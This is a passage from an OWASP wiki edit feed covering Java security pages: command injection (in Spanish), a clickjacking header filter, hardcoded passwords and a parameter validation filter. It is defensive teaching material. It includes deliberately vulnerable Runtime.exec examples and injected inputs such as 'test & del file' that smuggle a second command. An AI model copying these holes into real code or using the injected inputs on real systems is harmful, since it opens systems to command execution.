|[[PDF Attack Filter for Java EE ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Poor Logging Practice]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Preventing LDAP Injection in Java]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Preventing SQL Injection in Java ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Process Control]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Protecting code archives with digital signatures]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Reflection attack in an auth protocol]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Return Inside Finally Block]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Securing tomcat]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Servlet spec - web.xml]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Session Fixation]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Session Timeout]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Signing jar files with jarsigner ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[State synchronization error]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Struts]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Struts Validation in an ActionForm]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Struts Validation in validator.xml using an ActionForm]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Struts XSLT Viewer]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Traducción Español]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Trust Boundary Violation]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Trustworthy Java]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Uncaught exception]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Unchecked Return Value: Missing Check against Null ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Unreleased Resource]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Unsafe JNI]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Unsafe Mobile Code]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Unsafe Reflection ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Using JCaptcha ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Using the Java Cryptographic Extensions]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[Using the Java Secure Socket Extensions]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[XPATH Injection Java ]]&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|-&lt;br /&gt;
|[[OWASP's_ESAPI_Wiki_for_Java!]]&lt;br /&gt;
| Check Project Status&lt;br /&gt;
|&lt;br /&gt;
| The entire ESAPI For Java project needs a review. In progress on ML.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Shared Google document used to write reviews:&lt;br /&gt;
&lt;br /&gt;
https://docs.google.com/spreadsheets/d/13bazikNd5fc9f7ppqMEAxbo0sI3CpOdPgDW5xt3LeMc/edit?usp=sharing&lt;br /&gt;
&lt;br /&gt;
=About=&lt;br /&gt;
&lt;br /&gt;
OWASP Java and JVM Project - Wiki Pages Review Operation 1 - 2015/2016&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Template:Project About&lt;br /&gt;
| project_name =OWASP Java Project WIPRO 1 - 2015/2016&lt;br /&gt;
| project_description = &lt;br /&gt;
| project_license =&lt;br /&gt;
| leader_name1 = &lt;br /&gt;
| leader_email1 = &lt;br /&gt;
| leader_username1 = &lt;br /&gt;
| contributor_name1 = &lt;br /&gt;
| contributor_email1 = &lt;br /&gt;
| contributor_username1 = &lt;br /&gt;
| mailing_list_name = &lt;br /&gt;
| links_url1 = &lt;br /&gt;
| links_name1 = &lt;br /&gt;
| links_url2 = &lt;br /&gt;
| links_name2 = &lt;br /&gt;
}}  &lt;br /&gt;
&lt;br /&gt;
__NOTOC__&lt;br /&gt;
&amp;lt;headertabs /&amp;gt; &lt;br /&gt;
&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:Java]]&lt;/div&gt;</summary>
		<author><name>Imifos</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Inyecci%C3%B3n_De_Comandos_En_Java&amp;diff=208878</id>
		<title>Inyección De Comandos En Java</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Inyecci%C3%B3n_De_Comandos_En_Java&amp;diff=208878"/>
				<updated>2016-02-14T11:51:08Z</updated>
		
		<summary type="html">&lt;p&gt;Imifos: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Estado==&lt;br /&gt;
Review&lt;br /&gt;
&lt;br /&gt;
==Introducción==&lt;br /&gt;
Las vulnerabilidades de  este tipo permiten a un atacante inyectar arbitrariamente comandos del sistema en una aplicación. Estos comandos se ejecutan al mismo nivel de privilegios que la aplicación Java y proveen al atacante una funcionalidad similar a la de una Shell de Sistema Operativo. En Java, Runtime.exec es comúnmente usado para invocar a un nuevo proceso, pero esto no invoca una nueva Shell de comandos, lo que significa que usualmente encadenando o entubando múltiples comandos juntos no funciona. La inyección de comandos sin embargo es posible si el proceso engendrado con Runtime.exec es una Shell como command.com, cmd.exe o /bin/sh..&lt;br /&gt;
&lt;br /&gt;
==Ejemplos ==&lt;br /&gt;
&lt;br /&gt;
===Ejemplo 1===&lt;br /&gt;
&lt;br /&gt;
El código detallado a continuación permite a un usuario el control de los argumentos del comando de Windows find. Mientras el usuario no posea control absoluto sobre los argumentos, no es posible inyectar comandos adicionales. Por ejemplo, ingresando “test &amp;amp; del file” no causará que el comando del se ejecute. Dado que Runtime.exec tokeniza la cadena de comando y luego invoca el comando find usando los parámetros “test”, “&amp;amp;”, “del” y “file”.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
import java.io.*;&lt;br /&gt;
&lt;br /&gt;
public class Example1 {&lt;br /&gt;
	public static void main(String[] args)&lt;br /&gt;
	throws IOException {&lt;br /&gt;
		if(args.length != 1) {&lt;br /&gt;
			System.out.println(&amp;quot;No arguments&amp;quot;);&lt;br /&gt;
			System.exit(1);&lt;br /&gt;
		}&lt;br /&gt;
		Runtime runtime = Runtime.getRuntime();&lt;br /&gt;
		Process proc = runtime.exec(&amp;quot;find&amp;quot; + &amp;quot; &amp;quot; + args[0]);&lt;br /&gt;
		&lt;br /&gt;
		InputStream is = proc.getInputStream();&lt;br /&gt;
		InputStreamReader isr = new InputStreamReader(is);&lt;br /&gt;
		BufferedReader br = new BufferedReader(isr);&lt;br /&gt;
		&lt;br /&gt;
		String line;&lt;br /&gt;
		while ((line = br.readLine()) != null) {&lt;br /&gt;
			System.out.println(line);&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Ejemplo 2===&lt;br /&gt;
&lt;br /&gt;
El código a continuación invoca una shell del sistema para ejecutar un commando no ejecutable usando lo ingresado por el usuario como parámetros. Comandos de Windows no ejecutables tales como dir y copy son parte del intérprete de comandos y por ende no pueden ser directamente invoados por Runtime.exec. En este caso, la inyección de comandos es posible y un atacante puede encadenar múltiples comandos juntos. Por ejemplo ingresando, “.&amp;amp; echo hello” causará que el comando dir liste los contenidos del directorio actual y el comando echo imprima un mensaje de saludo.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
import java.io.*;&lt;br /&gt;
&lt;br /&gt;
public class Example2 {&lt;br /&gt;
	public static void main(String[] args)&lt;br /&gt;
	throws IOException {&lt;br /&gt;
		if(args.length != 1) {&lt;br /&gt;
			System.out.println(&amp;quot;No arguments&amp;quot;);&lt;br /&gt;
			System.exit(1);&lt;br /&gt;
		}&lt;br /&gt;
		Runtime runtime = Runtime.getRuntime();&lt;br /&gt;
		String[] cmd = new String[3];&lt;br /&gt;
		cmd[0] = &amp;quot;cmd.exe&amp;quot; ;&lt;br /&gt;
                cmd[1] = &amp;quot;/C&amp;quot;;&lt;br /&gt;
                cmd[2] = &amp;quot;dir &amp;quot; + args[0];&lt;br /&gt;
		Process proc = runtime.exec(cmd);&lt;br /&gt;
		&lt;br /&gt;
		InputStream is = proc.getInputStream();&lt;br /&gt;
		InputStreamReader isr = new InputStreamReader(is);&lt;br /&gt;
		BufferedReader br = new BufferedReader(isr);&lt;br /&gt;
		&lt;br /&gt;
		String line;&lt;br /&gt;
		while ((line = br.readLine()) != null) {&lt;br /&gt;
			System.out.println(line);&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Mejores Prácticas ==&lt;br /&gt;
&lt;br /&gt;
Los desarrolladores deben evitar invocar la shell usando Runtime.exec para llamar a comandos del sistema operativo y en su defecto deben usar la API de Java. Por ejemplo, en vez de llamar lsor dir desde la sell se debe usar la clase Java File para la función de listado. Si es necesario que el usuario deba ingresar datos y pasarlos hacía Runtime.exec, y luego usar expresiones regulares para validar el ingreso.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Java]]&lt;/div&gt;</summary>
		<author><name>Imifos</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Clickjacking_Protection_for_Java_EE&amp;diff=208877</id>
		<title>Clickjacking Protection for Java EE</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Clickjacking_Protection_for_Java_EE&amp;diff=208877"/>
				<updated>2016-02-14T11:48:28Z</updated>
		
		<summary type="html">&lt;p&gt;Imifos: flagged for deletion&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{taggedDocument&lt;br /&gt;
| type=delete&lt;br /&gt;
| comment=Page content is outdated and topic explained too superficially for 2015 security state. Library is outdated and gives a false feeling of security as the topic is more complex than the library handles. Moreover the page is not related to Java EE but to Java based web applications in general.&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
==Status==&lt;br /&gt;
&lt;br /&gt;
Released Feb 6, 2009&lt;br /&gt;
&lt;br /&gt;
==How to Stop ClickJacking==&lt;br /&gt;
&lt;br /&gt;
This article shows how to prevent the IE8+ users of your Java EE application from getting clickjacked.&lt;br /&gt;
&lt;br /&gt;
[[Clickjacking]] is an attack that tricks users by showing them an innocuous page but including the real controls from sensitive pages. These controls are disguised through the use of background frames that mask off everything except the control, so that the user can't tell that they are actually clicking on a sensitive function in some other website.&lt;br /&gt;
&lt;br /&gt;
How can web applications protect their users from this attack?  The typical defense to clickjacking is to prevent your pages from being framed. The typical approach to this is to include a &amp;quot;framebreaker&amp;quot; script in every page that ensures that the content is not framed. Here's an example of such a script.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;amp;lt;script&amp;gt;if (top != self) top.location=location&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 * NOTE: this framebreaker is pretty simple. A better framebreaker will hide the entire page&lt;br /&gt;
 and only redisplay if page is not being framed. An even better framebreaker than that will&lt;br /&gt;
 not cause any change in the page-load experience. More to come soon!&lt;br /&gt;
&lt;br /&gt;
However, there's an alternative approach that may be simpler to implement. Microsoft has now included a [http://blogs.msdn.com/ie/archive/2009/01/27/ie8-security-part-vii-clickjacking-defenses.aspx defense] in IE8 that allows developers to specify that pages should not be framed. They use a new (nonstandard) X-FRAME-OPTIONS header to mark responses that shouldn't be framed. There are two options with X-FRAME-OPTIONS. The first is DENY, which prevents everyone from framing the content. The other option is SAMEORIGIN, which only allows the current site to frame the content. Currently this works in IE8, Firefox, Safari, Opera and Chrome.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Approach==&lt;br /&gt;
&lt;br /&gt;
We'd like to add the X-FRAME-OPTIONS header to any pages that shouldn't be framed. So we could go into every servlet and JSP and add one of the two following lines of code:&lt;br /&gt;
&lt;br /&gt;
  // to prevent all framing of this content&lt;br /&gt;
  response.addHeader( &amp;quot;X-FRAME-OPTIONS&amp;quot;, &amp;quot;DENY&amp;quot; );&lt;br /&gt;
  &lt;br /&gt;
  // to allow framing of this content only by this site&lt;br /&gt;
  response.addHeader( &amp;quot;X-FRAME-OPTIONS&amp;quot;, &amp;quot;SAMEORIGIN&amp;quot; );&lt;br /&gt;
&lt;br /&gt;
However, this seems a bit intrusive and a lot of work.  In this article, we'll implement a simple JavaEE filter to add the X-FRAME-OPTIONS header to some or all parts of your application.&lt;br /&gt;
&lt;br /&gt;
==Download==&lt;br /&gt;
&lt;br /&gt;
The source code and the compiled class file are in a single zip file.&lt;br /&gt;
&lt;br /&gt;
'''[https://www.owasp.org/images/1/15/ClickjackFilter.zip DOWNLOAD]'''&lt;br /&gt;
&lt;br /&gt;
'''Attention:''' The source listed below contains an update which is not part of the ClickjackFilter.zip. See [http://stackoverflow.com/questions/11371755/clickjacking-filter-to-add-x-frame-options-in-response]. &lt;br /&gt;
Use the source listed below rather than the one in the zip file.&lt;br /&gt;
&lt;br /&gt;
==Setup==&lt;br /&gt;
&lt;br /&gt;
The first step is to add the filter to our application. All we have to do is put the ClickjackFilter class on our application's classpath, probably by putting it in the classes folder in WEB-INF. The class file should be in a folder structure that matches the package (org -&amp;gt; owasp -&amp;gt; filters -&amp;gt; ClickjackFilter).  You can extract the class file from the zip file.&lt;br /&gt;
&lt;br /&gt;
Then we just have to add the following filter definition and mapping to our web.xml. You should paste this in right above your servlet definitions. You should set up the mapping so it applies to '''any''' page that shouldn't be framed. Using /* will apply it to everything.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&lt;br /&gt;
&amp;lt;web-app id=&amp;quot;WebApp_ID&amp;quot; version=&amp;quot;2.4&amp;quot;&lt;br /&gt;
    xmlns=&amp;quot;http://java.sun.com/xml/ns/j2ee&amp;quot;&lt;br /&gt;
    xmlns:xsi=&amp;quot;http://www.w3.org/2001/XMLSchema-instance&amp;quot;&lt;br /&gt;
    xsi:schemaLocation=&amp;quot;http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;display-name&amp;gt;OWASP ClickjackFilter&amp;lt;/display-name&amp;gt;&lt;br /&gt;
    &amp;lt;filter&amp;gt;&lt;br /&gt;
        &amp;lt;filter-name&amp;gt;ClickjackFilterDeny&amp;lt;/filter-name&amp;gt;&lt;br /&gt;
        &amp;lt;filter-class&amp;gt;org.owasp.filters.ClickjackFilter&amp;lt;/filter-class&amp;gt;&lt;br /&gt;
        &amp;lt;init-param&amp;gt;&lt;br /&gt;
            &amp;lt;param-name&amp;gt;mode&amp;lt;/param-name&amp;gt;&lt;br /&gt;
            &amp;lt;param-value&amp;gt;DENY&amp;lt;/param-value&amp;gt;&lt;br /&gt;
        &amp;lt;/init-param&amp;gt;&lt;br /&gt;
    &amp;lt;/filter&amp;gt;&lt;br /&gt;
    &lt;br /&gt;
    &amp;lt;filter&amp;gt;&lt;br /&gt;
        &amp;lt;filter-name&amp;gt;ClickjackFilterSameOrigin&amp;lt;/filter-name&amp;gt;&lt;br /&gt;
        &amp;lt;filter-class&amp;gt;org.owasp.filters.ClickjackFilter&amp;lt;/filter-class&amp;gt;&lt;br /&gt;
        &amp;lt;init-param&amp;gt;&lt;br /&gt;
            &amp;lt;param-name&amp;gt;mode&amp;lt;/param-name&amp;gt;&lt;br /&gt;
            &amp;lt;param-value&amp;gt;SAMEORIGIN&amp;lt;/param-value&amp;gt;&lt;br /&gt;
        &amp;lt;/init-param&amp;gt;&lt;br /&gt;
    &amp;lt;/filter&amp;gt;&lt;br /&gt;
    &lt;br /&gt;
    &amp;lt;!--  use the Deny version to prevent anyone, including yourself, from framing the page --&amp;gt;&lt;br /&gt;
    &amp;lt;filter-mapping&amp;gt; &lt;br /&gt;
        &amp;lt;filter-name&amp;gt;ClickjackFilterDeny&amp;lt;/filter-name&amp;gt;&lt;br /&gt;
        &amp;lt;url-pattern&amp;gt;/*&amp;lt;/url-pattern&amp;gt;&lt;br /&gt;
    &amp;lt;/filter-mapping&amp;gt;&lt;br /&gt;
    &lt;br /&gt;
    &amp;lt;!-- use the SameOrigin version to allow your application to frame, but nobody else&lt;br /&gt;
    &amp;lt;filter-mapping&amp;gt; &lt;br /&gt;
        &amp;lt;filter-name&amp;gt;ClickjackFilterSameOrigin&amp;lt;/filter-name&amp;gt;&lt;br /&gt;
        &amp;lt;url-pattern&amp;gt;/*&amp;lt;/url-pattern&amp;gt;&lt;br /&gt;
    &amp;lt;/filter-mapping&amp;gt;&lt;br /&gt;
    --&amp;gt;&lt;br /&gt;
    &lt;br /&gt;
&amp;lt;/web-app&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Source Code==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/**&lt;br /&gt;
 *  Software published by the Open Web Application Security Project (http://www.owasp.org)&lt;br /&gt;
 *  This software is licensed under the new BSD license.&lt;br /&gt;
 *&lt;br /&gt;
 * @author     Jeff Williams &amp;lt;a href=&amp;quot;http://www.aspectsecurity.com&amp;quot;&amp;gt;Aspect Security&amp;lt;/a&amp;gt;&lt;br /&gt;
 * @created    February 6, 2009&lt;br /&gt;
 */&lt;br /&gt;
&lt;br /&gt;
package org.owasp.filters;&lt;br /&gt;
import java.io.IOException;&lt;br /&gt;
&lt;br /&gt;
import javax.servlet.Filter;&lt;br /&gt;
import javax.servlet.FilterChain;&lt;br /&gt;
import javax.servlet.FilterConfig;&lt;br /&gt;
import javax.servlet.ServletException;&lt;br /&gt;
import javax.servlet.ServletRequest;&lt;br /&gt;
import javax.servlet.ServletResponse;&lt;br /&gt;
import javax.servlet.http.HttpServletResponse;&lt;br /&gt;
&lt;br /&gt;
public class ClickjackFilter implements Filter &lt;br /&gt;
{&lt;br /&gt;
&lt;br /&gt;
    private String mode = &amp;quot;DENY&amp;quot;;&lt;br /&gt;
    	&lt;br /&gt;
    /**&lt;br /&gt;
     * Add X-FRAME-OPTIONS response header to tell IE8 (and any other browsers who&lt;br /&gt;
     * decide to implement) not to display this content in a frame. For details, please&lt;br /&gt;
     * refer to http://blogs.msdn.com/sdl/archive/2009/02/05/clickjacking-defense-in-ie8.aspx.&lt;br /&gt;
     */&lt;br /&gt;
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {&lt;br /&gt;
        HttpServletResponse res = (HttpServletResponse)response;&lt;br /&gt;
        res.addHeader(&amp;quot;X-FRAME-OPTIONS&amp;quot;, mode );			&lt;br /&gt;
        chain.doFilter(request, response);&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    public void destroy() {&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    public void init(FilterConfig filterConfig) {&lt;br /&gt;
        String configMode = filterConfig.getInitParameter(&amp;quot;mode&amp;quot;);&lt;br /&gt;
        if ( configMode != null ) {&lt;br /&gt;
            mode = configMode;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Compile==&lt;br /&gt;
&lt;br /&gt;
There are not many dependencies here, just the standard Java EE environment. You can compile with:&lt;br /&gt;
&lt;br /&gt;
  javac -classpath servlet-api.jar -d . *.java&lt;br /&gt;
&lt;br /&gt;
Then just copy the 'org' folder that gets created to the WEB-INF/classes folder in your application. You could also jar it up and put it in the lib directory.&lt;br /&gt;
&lt;br /&gt;
==Testing==&lt;br /&gt;
&lt;br /&gt;
First, you'll need IE8 RC1+. I downloaded a free VHD of IE8 beta from [http://www.microsoft.com/downloads/details.aspx?FamilyId=21EABB90-958F-4B64-B5F1-73D0A413C8EF&amp;amp;displaylang=en Microsoft] and then did a Windows Update to IE8 RC1. You'll need to install the free [http://www.microsoft.com/windows/products/winfamily/virtualpc/default.mspx VirtualPC] to run this.&lt;br /&gt;
&lt;br /&gt;
There's a very simple test case in the WebContent directory of the zip file. It has one page with the text &amp;quot;unframeable content&amp;quot; and another page that opens the first page in a frame. When you set the filter to DENY in web.xml, the page shows an error message that the content cannot be viewed in a frame.  When you set it to SAMEORIGIN, the content is allowed.&lt;br /&gt;
&lt;br /&gt;
You may want to check out the [http://evil.hackademix.net/frameopts/ demo] page that Giorgio Maone put together.&lt;/div&gt;</summary>
		<author><name>Imifos</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Password_Management:_Hardcoded_Password&amp;diff=208872</id>
		<title>Password Management: Hardcoded Password</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Password_Management:_Hardcoded_Password&amp;diff=208872"/>
				<updated>2016-02-14T11:24:38Z</updated>
		
		<summary type="html">&lt;p&gt;Imifos: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Vulnerability}}&lt;br /&gt;
{{Template:Fortify}}&lt;br /&gt;
&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
[[ASDR_TOC_Vulnerabilities|Vulnerabilities Table of Contents]]&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
Hardcoded passwords may compromise system security in a way that cannot be easily remedied.&lt;br /&gt;
&lt;br /&gt;
It is never a good idea to hardcode a password. Not only does hardcoding a password allow all of the project's developers to view the password, it also makes fixing the problem extremely difficult. Once the code is in production, the password cannot be changed without patching the software. If the account protected by the password is compromised, the owners of the system will be forced to choose between security and availability.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Risk Factors==&lt;br /&gt;
&lt;br /&gt;
TBD&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
The following code uses a hardcoded password to connect to a database:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
	...&lt;br /&gt;
	DriverManager.getConnection(url, &amp;quot;scott&amp;quot;, &amp;quot;tiger&amp;quot;);&lt;br /&gt;
	...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This code will run successfully, but anyone who has access to it will have access to the password. Once the program has shipped, there is no going back from the database user &amp;quot;scott&amp;quot; with a password of &amp;quot;tiger&amp;quot; unless the program is patched. A devious employee with access to this information can use it to break into the system. Even worse, if attackers have access to the bytecode for application, they can use the javap -c command to access the disassembled code, which will contain the values of the passwords used. The result of this operation might look something like the following for the example above:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
	javap -c ConnMngr.class&lt;br /&gt;
	&lt;br /&gt;
	22: ldc   #36; //String jdbc:mysql://ixne.com/rxsql&lt;br /&gt;
	24: ldc   #38; //String scott&lt;br /&gt;
	26: ldc   #17; //String tiger&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
&lt;br /&gt;
* [[Attack 1]]&lt;br /&gt;
* [[Attack 2]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
&lt;br /&gt;
* [[Vulnerability 1]]&lt;br /&gt;
* [[Vulnerabiltiy 2]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
&lt;br /&gt;
==Related [[Technical Impacts]]==&lt;br /&gt;
&lt;br /&gt;
* [[Technical Impact 1]]&lt;br /&gt;
* [[Technical Impact 2]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
&lt;br /&gt;
TBD&lt;br /&gt;
&lt;br /&gt;
[[Category:FIXME|add links&lt;br /&gt;
&lt;br /&gt;
In addition, one should classify vulnerability based on the following subcategories: Ex:&amp;lt;nowiki&amp;gt;[[Category:Error Handling Vulnerability]]&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Availability Vulnerability&lt;br /&gt;
&lt;br /&gt;
Authorization Vulnerability&lt;br /&gt;
&lt;br /&gt;
Authentication Vulnerability&lt;br /&gt;
&lt;br /&gt;
Concurrency Vulnerability&lt;br /&gt;
&lt;br /&gt;
Configuration Vulnerability&lt;br /&gt;
&lt;br /&gt;
Cryptographic Vulnerability&lt;br /&gt;
&lt;br /&gt;
Encoding Vulnerability&lt;br /&gt;
&lt;br /&gt;
Error Handling Vulnerability&lt;br /&gt;
&lt;br /&gt;
Input Validation Vulnerability&lt;br /&gt;
&lt;br /&gt;
Logging and Auditing Vulnerability&lt;br /&gt;
&lt;br /&gt;
Session Management Vulnerability]]&lt;br /&gt;
&lt;br /&gt;
__NOTOC__&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP ASDR Project]]&lt;br /&gt;
[[Category:Sensitive Data Protection Vulnerability]]&lt;br /&gt;
[[Category:Password Management Vulnerability]]&lt;br /&gt;
[[Category:Java]]&lt;br /&gt;
[[Category:Code Snippet]]&lt;br /&gt;
[[Category:Vulnerability]]&lt;/div&gt;</summary>
		<author><name>Imifos</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Parameter_Validation_Filter&amp;diff=208870</id>
		<title>Parameter Validation Filter</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Parameter_Validation_Filter&amp;diff=208870"/>
				<updated>2016-02-14T11:21:47Z</updated>
		
		<summary type="html">&lt;p&gt;Imifos: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
The library being demonstrated here is based off the ideas presented the article [[How_to_add_validation_logic_to_HttpServletRequest]], but fleshed out to be more flexible and easy to deploy. We call this library the (unimaginatively named) Parameter Validation Filter, or PVF.&lt;br /&gt;
&lt;br /&gt;
PVF is implemented as a Servlet filter that intercepts requests to web pages, runs submitted parameters through a configurable sequence of validation rules, and either sanitises the parameters before they are sent through to the web application, or returns a HTTP error code if validation errors were detected.&lt;br /&gt;
&lt;br /&gt;
We have made the following assumptions when developing this library:&lt;br /&gt;
&lt;br /&gt;
* Client side validation will prevent legitimate users from submitting invalid data.&lt;br /&gt;
* The PVF library should prevent further processing if invalid data is submitted in the majority of cases.&lt;br /&gt;
* Occasionally it might be appropriate to sanitise submitted data, but any sanitisation should be trivial (like the removal of whitespace).&lt;br /&gt;
&lt;br /&gt;
To make use of the PVF library, you’ll need to add it to your project. This artifact is currently in the Sonatype staging repo, so you'll need to add that repo to your Maven config. See http://stackoverflow.com/questions/13945757/how-do-you-import-a-maven-dependency-from-sonatype-org for details.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;dependency&amp;gt;&lt;br /&gt;
   &amp;lt;groupId&amp;gt;com.matthewcasperson&amp;lt;/groupId&amp;gt;&lt;br /&gt;
   &amp;lt;artifactId&amp;gt;parameter_validation_filter&amp;lt;/artifactId&amp;gt;&lt;br /&gt;
   &amp;lt;version&amp;gt;1.0.0-SNAPSHOT&amp;lt;/version&amp;gt;&lt;br /&gt;
